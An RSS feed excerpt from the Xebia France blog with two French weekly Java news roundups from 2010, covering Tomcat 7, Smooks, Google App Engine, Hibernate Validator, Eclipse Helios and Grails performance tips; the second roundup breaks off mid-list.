<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog Xebia France &#187; Tomcat</title>
	<atom:link href="http://blog.xebia.fr/tag/tomcat/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.xebia.fr</link>
	<description>J2EE, Agilité et SOA</description>
	<lastBuildDate>Thu, 09 Sep 2010 07:48:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/</link>
		<comments>http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 05:14:27 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[EDI]]></category>
		<category><![CDATA[GAE]]></category>
		<category><![CDATA[Google App Engine]]></category>
		<category><![CDATA[Hibernate Validator]]></category>
		<category><![CDATA[Paris JUG]]></category>
		<category><![CDATA[Smook]]></category>
		<category><![CDATA[SOA]]></category>
		<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=4986</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Actualité  éditeurs / SSII

Une étude américaine prédit une pénurie d'informaticiens pour bientôt.

SOA

La future version 1.4 de Smooks supportera les messages UN/EDIFACT

Serveurs d'applications / Cloud Computing

Tomcat 7 sort en BETA
Google App Engine 1.3.5 et toolkit Paypal

Le coin de la  technique

Hibernate Validator 4.1.0

Evènements  de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br />
<em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Actualité  éditeurs / SSII</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#Unetudeamricaineprditunepnurie">Une étude américaine prédit une pénurie d'informaticiens pour bientôt.</a></li>
</ul>
<p><strong>SOA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#LafutureversiondeSmookssupport">La future version 1.4 de Smooks supportera les messages UN/EDIFACT</a></li>
</ul>
<p><strong>Serveurs d'applications / Cloud Computing</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#TomcatsortenBETA">Tomcat 7 sort en BETA</a></li>
<li><a href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#GoogleAppEngineetdutoolkitPayp">Google App Engine 1.3.5 et toolkit Paypal</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#HibernateValidator">Hibernate Validator 4.1.0</a></li>
</ul>
<p><strong>Evènements  de notre communauté en France et à l'étranger</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#LeParisJUGetlAvantJUG">Le ParisJUG et l'AvantJUG</a></li>
</ul>
<h3><a name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3>
<h4><a name="Unetudeamricaineprditunepnurie"></a>Une étude américaine prédit une pénurie d'informaticiens pour bientôt.</h4>
<p>C'est à la fois une bonne et une mauvaise nouvelle qui est sortie d'un étude américaine sur le marché de l'informatique, <a href="http://www.infoq.com/news/2010/06/career-labor-statistics" title="rapporte par infoQ" >rapportée par infoQ</a> : la bonne nouvelle, elle est pour les techniciens que nous sommes, car nous devrions avoir du travail pendant un long moment. La mauvaise nouvelle est pour nos employeurs, qui vont avoir de plus en plus de mal à recruter.<br />
Les prévisions qui ressortent de cette étude sont les suivantes :</p>
<ul>
<li>la croissance du secteur informatique devrait être quatre fois supérieure à celle des autres métiers de l'ingénierie dans les années à venir.</li>
<li>aux Etats Unis, il y a deux fois plus d'offres que de diplômés chaque année. C'est le seul métier scientifique pour laquelle l'offre est supérieure à la demande.</li>
</ul>
<p>En parallèle de l'augmentation des besoins, il semble que les étudiants percoivent les métiers de l'informatique de manière erronée :</p>
<ul>
<li><em>Tous les postes motivant sont exportés en Inde</em>. Le mouvement global (aussi bien aux Etats Unis qu'en Europe)  est plutôt à un retour des activités intéressantes en local, et une exportation des taches à faible valeurs ajoutées.</li>
<li><em>C'est un métier d'homme</em>. Ce fait avéré est en train de changer, en partie grâce à certaines initiatives locales (voir ci-dessous). Même si la balance est loin d'être équilibrée, il semblerait que de plus en plus de demoiselles choisissent les carrières techniques. C'est à nos communautés de les convaincre de les poursuivre !</li>
<li><em>L'informatique, c'est programmer, et programmer c'est rester toute la journée devant un écran</em>. Tous les consultants vous le diront, même si ils ne pratiquent pas l'XP, l'informatique est une activité sociale <img src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><em>C'est trop difficile</em>. S'il est sûr que comprendre les algorithmes de GC en détail relève parfois de la mission impossible, tous les chefs de projets ou scrum master vous le diront : travailler dans l'informatique, c'est avant tout gérer son stress, gérer ses connaissances (et les augmenter au fur à et mesure) et se montrer inventif.</li>
</ul>
<p>Il existe ainsi un certain nombre de mythes, que <a href="http://www.rebootingcomputing.org/" title="certains professeurs amricains tentent de dmonter" >certains professeurs américains tentent de démonter</a>.</p>
<p>Les défis à venir sont énormes, puisqu'il va falloir réconcilier le désamour des étudiants pour les carrières informatiques, et les besoins des entreprises qui s'annoncent énormes. Bien heureusement, un certain nombre d'acteurs français essayent de proposer une vision du marché de l'informatique plus <em>humaine</em> que d'autres.</p>
<p><a href="http://blog.xebia.fr/2010/05/20/xebia-recrute-aussi-des-jeunes-diplomes-hf/" title="A ce propos, vous savez que Xebia recrute ? ;)" >A ce propos, vous savez que Xebia recrute ? <img src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </a></p>
<h3><a name="SOA"></a>SOA</h3>
<h4><a name="LafutureversiondeSmookssupport"></a>La future version 1.4 de Smooks supportera les messages UN/EDIFACT</h4>
<p>L'équipe de développement de Smooks vient d'annoncer le support du traitement des messages <a href="http://fr.wikipedia.org/wiki/%C3%89change_de_donn%C3%A9es_informatis%C3%A9" title="EDI" >EDI</a> (Échange de Données Informatisées) au format <a href="http://www.unece.org/trade/untdid/welcome.htm" title="UNEDIFACT Interchange" >UN/EDIFACT Interchange</a>, dans la future version du projet. </p>
<p>Pour rappel <a href="http://www.smooks.org/mediawiki/index.php?title=Main_Page" title="Smooks" >Smooks</a> est un framework Java offrant un moteur de traitement des données XML et non XML (CSV, EDI, Java, etc.). Il est capable d'effectuer des transformations de données en s'appuyant sur des transformations existantes, ou en utilisant des technologies de <em>templating</em> telles que XSLT, Freemarker, StringTemplate, etc. Smooks permet également d'analyser un flux de données afin de remplir un modèle d'objets Java (Java Bean Binding).</p>
<p>Le framework Smooks peut prendre en charge les modèles de traitement DOM et SAX, ce qui signifie qu'il est capable de traiter aussi bien un fichier qu'un flux de données.</p>
<p>Ainsi, les messages EDI pourront être traités grâce à deux nouvelles fonctionnalités :</p>
<ul>
<li>Un module de lecture dédié au format UN/EDIFACT Interchange (&lt;unedifact:reader&gt;), qui permettra de transformer un message EDI de manière automatique dans un format XML compréhensible par le moteur de traitement de Smooks.</li>
</ul>
<ul>
<li>Un outil pour Maven et ANT, appellé EDI Conversion Tool (ECT), embarquant directement les référentiels UN/EDIFACT, et offrant la possibilité de générer un Jar contenant les fichiers de mapping Smooks correspondant au message EDI traité.</li>
</ul>
<p>Avec ces nouvelles fonctionnalités, Smooks propose une véritable alternative Open Source et performante aux solutions propriétaires pour le traitement des messages EDI au format UN/EDIFACT. Déjà intégré au sein de Mule ESB et de JBoss ESB, Smooks devient de plus en plus incontournable au sein des architectures SOA s'appuyant sur des solutions Open Source.</p>
<p>Ces nouveautés sont déjà disponibles dans la version 1.4-SNAPSHOT, téléchargeable directement depuis le <a href="http://snapshots.repository.codehaus.org/org/milyn/edi/unedifact/" title="repository Maven" >repository Maven</a> du projet.</p>
<p>Pour en savoir plus :</p>
<ul>
<li><a href="http://blog.smooks.org/2010/06/28/processing-unedifact-message-interchanges" title="Lannonce sur le blog de Smooks" >L'annonce sur le blog de Smooks</a></li>
<li><a href="http://www.smooks.org" title="Le site du projet Smooks" >Le site du projet Smooks</a></li>
<li><a href="http://www.unece.org/trade/untdid/welcome.htm" title="Le format UNEDIFACT Interchange" >Le format UN/EDIFACT Interchange</a></li>
</ul>
<h3><a name="ServeursdapplicationsetCloudCo"></a>Serveurs d'applications / Cloud Computing</h3>
<h4><a name="TomcatsortenBETA"></a>Tomcat 7 sort en BETA</h4>
<p>Après 18 mois de travail, Apache nous livre la première version officielle de Tomcat 7. Cette nouvelle release est désormais disponible dans les pages de téléchargements du site <a href="http://tomcat.apache.org" title="httptomcatapacheorg" >http://tomcat.apache.org</a> qui intègre pour l'occasion la documentation du précieux. Comme promis de longue date, Tomcat 7 implémente les Servlet 3.0, ainsi que JSP et EL 2.2.</p>
<p>A ces mises à niveau s'ajoutent de nouvelles fonctionnalités:</p>
<ul>
<li>Détection et prévention des fuites de mémoire, pour en finir avec les OutOfMemory au rechargement des applications web liés à l'utilisation du PermGen. Ce développement avait été porté sur Tomcat 6, début avril, le voilà disponible tout naturellement sur Tomcat 7.</li>
<li>La sécurité est aussi largement améliorée avec notamment un filtre permettant de bloquer les attaques de type Cross Site Request Forgery. C'est aussi une nouvelle gestion des rôles pour Tomcat Manager et Host Manager.</li>
<li>La gestion d'alias de répertoire à la mode apache.</li>
<li>Enfin, la possibilité d'embarquer et de lancer Tomcat simplement, ce qui ne manque pas de faire penser à Jetty.</li>
</ul>
<p>Outre toutes ces nouveautés, le code a subi une vaste cure de nettoyage et l'équipe affirme avoir porté toutes les corrections de bugs des versions précédentes dans Tomcat 7. Nous en reparlerons sûrement sur le blog, en attendant, n'hésitez pas, faites le tour du propriétaire et sachez apprécier la nouvelle décoration.</p>
<p>Pour en savoir plus:</p>
<ul>
<li><a href="L'annonce de Mark Thomas" title="httpwwwtomcatexpertcomblog20100629apachetomcat7hasbeenreleased" >http://www.tomcatexpert.com/blog/2010/06/29/apache-tomcat-7-has-been-released</a></li>
<li><a href="Téléchargez Tomcat 7" title="httptomcatapacheorgdownload70cgi" >http://tomcat.apache.org/download-70.cgi</a></li>
<li><a href="L'article sur DZone" title="httpjavadzonecomarticlestomcatluckynumber7beta" >http://java.dzone.com/articles/tomcat-lucky-number-7-beta</a></li>
</ul>
<h4><a name="GoogleAppEngineetdutoolkitPayp"></a>Google App Engine 1.3.5 et toolkit Paypal</h4>
<p>La sortie de Google App Engine en version 1.3.5 apporte comme à son habitude son lot de nouveautés et de corrections pour les développeurs Java et Python:</p>
<ul>
<li>Une amélioration de la Task Queue API permettant de traiter 50 reqs/sec par queue au lieu de 50 reqs/sec par application. Google promet d'ailleurs de futures améliorations de scalabilité relatives à cette API.</li>
<li>Le support pour la précompilation de fichiers sources Python</li>
<li>Une amélioration de l'API BlobStore permettant la lecture d'un blob tel un fichier avec une classe BlobstoreInputStream.</li>
</ul>
<p>La réelle nouveauté vient cependant de PayPal annonçant le support de sa plateforme de paiement PayPal X pour GAE. </p>
<p>A travers sa plateforme PayPal X, le leader du micro-paiement sécurisé propose une API clé en main, permettant aux développements d'embarquer différentes solutions de paiement dans leurs applications via différents modèles de monétisation: Le <a href="http://fr.wikipedia.org/wiki/Freemium" title="freemium" >freemium</a>, les abonnements, le pay-per-use, les micro transactions. PayPal souhaite ainsi fournir une solution de paiement adaptée à tous les besoins. </p>
<p>Grâce à ce nouveau service orienté e-commerce et entreprise, le géant de Moutain View espère bien profiter de la demande croissante des entreprises envers l'hébergement d'applications sur une architecture cloud, et continuer de développer son offre destinée aux entreprises.</p>
<p>Pour en savoir plus: </p>
<ul>
<li><a href="http://googleappengine.blogspot.com/2010/06/paypal-introduces-paypal-x-platform.html" title="Billet du blog Google App Engine prsentant le toolkit PayPal X" >Billet du blog Google App Engine présentant le toolkit PayPal X</a></li>
<li><a href="http://code.google.com/p/paypalx-gae-toolkit/" title="PayPal X toolkit" >PayPal X toolkit</a></li>
<li><a href="http://googleappengine.blogspot.com/2010/06/app-engine-sdk-135-released-with-new.html" title="Annonce de la sortie de Google App Engine 135" >Annonce de la sortie de Google App Engine 1.3.5</a></li>
</ul>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="HibernateValidator"></a>Hibernate Validator 4.1.0</h4>
<p>Outre quelques corrections de bugs et améliorations de performance au niveau de certains parsings, cette <a href="http://in.relation.to/Bloggers/HibernateValidator410FinalHasLanded#comment16028" title="version" >version</a> d'Hibernate Validator fournit de nouvelles fonctionnalités intéressantes, assez bien détaillées sur le <a href="http://musingsofaprogrammingaddict.blogspot.com/2010/06/whats-new-in-hibernate-validator-41.html" title="blog" >blog</a> de Gunar Morling, un des développeurs du projet.</p>
<p>Pour commencer, quelques types de contraintes ont été ajoutés:</p>
<ul>
<li><code>@CreditCardNumber</code> : permet de valider un numéro de carte de crédit selon l'algorithme de <a href="http://fr.wikipedia.org/wiki/Formule_de_Luhn" title="Luhn" >Luhn</a></li>
<li><code>@NotBlank</code> : Le champ ne doit être ni null, ni vide, ni contenir que des espaces</li>
<li><code>@URL</code> : valide une URL, on peut préciser le protocole, http par exemple</li>
<li><code>@ScriptAssert</code> : cette contrainte permet de déléguer à un langage script tiers la validation du champ, ceci étant rendu possible grâce à la <a href="http://jcp.org/en/jsr/detail?id=223" title="JSR-223" >JSR-223</a> permettant l'intégration de languages de script dans Java (à partir de la version 1.6). Plus de détail <a href="http://docs.jboss.org/hibernate/stable/validator/api/org/hibernate/validator/constraints/ScriptAssert.html" title="ici" >ici</a></li>
</ul>
<p>De plus il est possible maintenant de choisir sa propre stratégie pour récupérer les ResourceBundle, pour par exemple associer un message d'erreur à un champ. Il suffit pour cela de fournir une implémentation de l'interface <code>ResourceBundleLocator</code> qui contient une méthode retournant un <code>ResourceBundle</code>. On peut donc par exemple stocker ces messages dans une base de données.</p>
<p>Enfin cette version introduit la possibilité de créer des contraintes programmatiquement. Voici un exemple qui  vient de la <a href="http://docs.jboss.org/hibernate/stable/validator/reference/en-US/html/programmaticapi.html#example-constraint-mapping" title="documentation" >documentation</a>:</p>
<div class="syntax_hilite">
<div id="java-2">
<div class="java">ConstraintMapping mapping = <span style="color: #000000; font-weight: bold;">new</span> ConstraintMapping<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />
mapping.<span style="color: #006600;">type</span><span style="color: #66cc66;">&#40;</span> Car.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">property</span><span style="color: #66cc66;">&#40;</span> <span style="color: #ff0000;">"manufacturer"</span>, FIELD <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">constraint</span><span style="color: #66cc66;">&#40;</span> NotNullDef.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp;.<span style="color: #006600;">property</span><span style="color: #66cc66;">&#40;</span> <span style="color: #ff0000;">"licensePlate"</span>, FIELD <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">constraint</span><span style="color: #66cc66;">&#40;</span> NotNullDef.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp;.<span style="color: #006600;">constraint</span><span style="color: #66cc66;">&#40;</span> SizeDef.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">min</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">2</span> <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">max</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">14</span> <span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp;.<span style="color: #006600;">property</span><span style="color: #66cc66;">&#40;</span> <span style="color: #ff0000;">"seatCount"</span>, FIELD <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">constraint</span><span style="color: #66cc66;">&#40;</span> MinDef.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">value</span> <span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">2</span> <span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp;.<span style="color: #006600;">type</span><span style="color: #66cc66;">&#40;</span> RentalCar.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">property</span><span style="color: #66cc66;">&#40;</span> <span style="color: #ff0000;">"rentalStation"</span>, METHOD<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">constraint</span><span style="color: #66cc66;">&#40;</span> NotNullDef.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p></p>
<p>On utilise le principe des méthodes chainées, ça rappelle de loin les Criteria d'Hibernate. Entre cette possibilité et celle des @ScriptAssert, l'utilisateur a désormais deux nouveaux outils pour exprimer des contraintes relativement complexes.</p>
<h3><a name="EvnementsdenotrecommunautenFra"></a>Evènements  de notre communauté en France et à l'étranger</h3>
<h4><a name="LeParisJUGetlAvantJUG"></a>Le ParisJUG et l'AvantJUG</h4>
<p>Ce mardi aura lieu la soirée du ParisJUG comme tous les deuxièmes mardis du mois. Au programme de cette soirée, les <a href="http://parisjug.org/xwiki/bin/view/Meeting/20100706" title="EJB 3 présenté par Adam Bien" >EJB 3 présenté par Adam Bien</a>. Vous voulez avoir une idée du contenu de la soirée ? Alors lisez le billet publié par le <a href="http://jduchess.org/duchess-france/blog/soiree-adam-bien-au-paris-jug-0607/" title="blog des JDuchess France" >blog des JDuchess France</a> qui résume les concepts que présentera Adam Bien ce soir là.<br />
Comme depuis quelques mois déjà, le ParisJUG sera précédé de l'AvantJUG. C'est un évènement organisé par les JDuchess France pour faire connaissance avant de débuter la soirée du Paris JUG. A l'origine pour inciter les femmes à venir au Paris JUG, cette rencontre est ouvert à tous ceux qui veulent discuter et partager. Si vous voulez avoir une bonne excuse pour motiver une collègue à venir au ParisJUG ou tout simplement échanger autour d'un verre, venez donc à l'AvantJUG ! Toutes les modalités pour l'inscription se trouvent <a href="http://jduchess.org/duchess-france/blog/venez-nombreuses-a-lavantjug-de-juillet/" title="ici" >ici</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/</link>
		<comments>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 05:50:07 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Gorm]]></category>
		<category><![CDATA[Grails]]></category>
		<category><![CDATA[Groovy]]></category>
		<category><![CDATA[MuleSoft]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[Tomcat Stats]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=4971</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Outils

Helios, Eclipse 3.6

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la  technique

Articles sur Groovy/Spring et Grails/Hibernate
Un nouveau top 10 orienté performance

Agilité

Happy birthday Post-It !

Outils
Helios, Eclipse 3.6
Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d'Helios pour [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br />
<em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Outils</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HeliosEclipse">Helios, Eclipse 3.6</a></li>
</ul>
<p><strong>SOA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#SortiedeTomcatStatsladministra">Tomcat Stats: administrer Tomcat depuis son iPhone</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#ArticlessurGroovySpringetGrail">Articles sur Groovy/Spring et Grails/Hibernate</a></li>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#Unnouveautoporientperformance">Un nouveau top 10 orienté performance</a></li>
</ul>
<p><strong>Agilité</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HappybirthdayPostIt">Happy birthday Post-It !</a></li>
</ul>
<h3><a name="Outils"></a>Outils</h3>
<h4><a name="HeliosEclipse"></a>Helios, Eclipse 3.6</h4>
<p>Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d'<a title="Helios" href="http://www.eclipse.org/">Helios</a> pour incarner la version annuelle d'Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.</p>
<p>Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le "Install new software...", un lien direct vers le Marketplace permet très facilement d'installer ces plugins, un peu à la manière d'un plugin Firefox (tout comme le redémarrage obligatoire). L'ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l'implémentation <em>full java</em> utilisée également sur d'autre projets alors qu'EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.</p>
<p>En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:</p>
<ul>
<li>Les options du <em>formatter</em> acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le <em>formatter</em> d'une partie du code (intéressant pour aider des merges compliqués).</li>
<li>Les fonctionnalités sur le breakpoint, comme l'ajout d'une condition ou le compteur, sont à présent directement accessibles dans le panel <em>breakpoints</em> et non plus en passant par un menu contextuel dans le code.</li>
</ul>
<p>La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d'Eclipse propose un <a title="top ten" href="http://eclipsesource.com/blogs/2010/06/23/top-10-eclipse-helios-features/">top ten</a> intéressant pour faire le tour des fonctionnalités. Arrive en tête l'application Xtext qui permet d'écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.</p>
<p>Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !</p>
<h3><a name="SOA"></a>SOA</h3>
<h4><a name="SortiedeTomcatStatsladministra"></a>Tomcat Stats: administrer Tomcat depuis son iPhone</h4>
<p><a title="MuleSoft" href="http://www.mulesoft.com">MuleSoft</a>, plus connu pour son ESB Open Source <a title="Mule" href="http://www.mulesoft.com/mule-esb-open-source-esb">Mule</a>, a récemment annoncé la sortie de <a title="Tomcat Stats" href="http://www.mulesoft.com/mulesoft-introduces-iphone-app-apache-tomcat">Tomcat Stats</a>, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l'<a title="offre de support" href="http://www.mulesoft.com/free-apache-tomcat-support">offre de support</a> également gratuite, proposée par MuleSoft depuis maintenant presque une année. L'application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu'elles soient installées au sein de l'infrastructure propre de l'entreprise ou dans le Cloud. L'ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l'application, notamment l'utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.</p>
<p>Pour télécharger l'application, rien de plus simple il suffit de se rendre sur l'App Store, directement depuis son mobile, ou sur iTunes à l'adresse suivante : <a title="Tomcat Stats By MuleSoft Inc" href="http://itunes.apple.com/us/app/tomcat-stats/id376646649?mt=8">Tomcat Stats By MuleSoft Inc.</a></p>
<p>Bien qu'un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.</p>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="ArticlessurGroovySpringetGrail"></a>Articles sur Groovy/Spring et Grails/Hibernate</h4>
<p><a title="IBM developerWorks" href="http://www.ibm.com/developerworks/">IBM developerWorks</a> nous a récemment gratifié d'un  article en 2 parties intitulé "GroovierSpring".  Dans <a title="la premire partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring1.html">la première partie</a>, nous  apprenons à définir des beans Spring en Groovy. Quatre méthodes  sont à notre disposition:</p>
<ul>
<li>Utilisation de classes Groovy compilées en .class normaux</li>
<li>Utilisation de classes Groovy directement sous forme de .groovy</li>
<li>Utilisation de  scripts Groovy en ligne,  écrits dans la configuration Spring</li>
<li>Utilisation  de <a title="Bean Builder" href="http://www.grails.org/Spring+Bean+Builder">Bean Builder</a> de Grails</li>
</ul>
<p>Cette  dernière possibilité permet de créer des beans dynamiquement, à  partir de code Groovy. Cela  sous entend que l'on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la  logique... C'est d'ailleurs une solution utilisée dans Grails.</p>
<p>Une  fois les beans correctement  définis, nous pouvons les utiliser comme n'importe quel bean Java  défini plus classiquement. Le fait que les beans soient à  l'origine en Groovy est  complètement transparent à l'application.<br />
<a title="La seconde partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring2.html">La seconde partie</a> de l'article  va plus loin en explorant le rechargement à chaud des beans Groovy. C'est une plus-value  importante: qui n'a jamais rêvé de pouvoir changer facilement certains  bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents  !) ? De plus, l'article propose une implémentation permettant de  stocker son code Groovy en  base de donnée, car il n'est pas toujours évident d'accéder au système  de fichier des applications en production. C'est une idée assez peu  conventionnelle ! D'ailleurs, le paragraphe de fin, intitulé "When Groovy scripts go bad",  constitue une mise en garde pour ne pas abuser de ces possibilités, et  être conscient des problèmes de sécurité soulevés.</p>
<p>Tant que nous  somme dans le monde de Groovy,  il nous semble intéressant de vous indiquer un article <a title="du blog de SpringSource" href="http://blog.springsource.com/2010/06/23/gorm-gotchas-part-1/">du blog de SpringSource</a> qui s'intitule "GORM Gotchas (Part 1)". Il pointe du  doigt des comportements de GORM (la couche de  persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d'Hibernate n'apprendront pas grand choses, mais l'article éclairera sans doutes  ceux qui, attirés par la simplicité de Grails, se sont  mis à l'utiliser sans expérience préalable d'Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à "save()", et pourquoi ils le sont parfois en l'absence d'appel à cette même méthode. <a title="Un autre article" href="http://naleid.com/blog/2009/10/01/batch-import-performance-with-grails-and-mysql/">Un autre article</a> traitant de Grails et Hibernate nous vient de Ted Naleid.  Celui-ci explique comment il a pu améliorer les performances de son batch en <em>flushant</em> la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s'appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !</p>
<h4><a name="Unnouveautoporientperformance"></a>Un nouveau top 10 orienté performance</h4>
<p>Ce top10 se trouve <a title="sur le blog de lditeur Dynatrace" href="http://blog.dynatrace.com/2010/06/15/top-10-performance-problems-taken-from-zappos-monster-and-co/">sur le blog de l'éditeur Dynatrace</a>. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d'un top 10 sélectif, chez des clients qui avaient conscience d'avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu'il est bon de toujours avoir à l'esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d'expérience.</p>
<ul>
<li>une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).</li>
<li>une mauvaise programmation concurrente, avec un excès de synchronisation.</li>
<li>un manque de compréhension des appels <em>remote</em> et donc un trop grand nombre d'appels.</li>
<li>un mauvais usage des frameworks de mapping objet - relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l'utilisation la plus hors de propos de la librairie.</li>
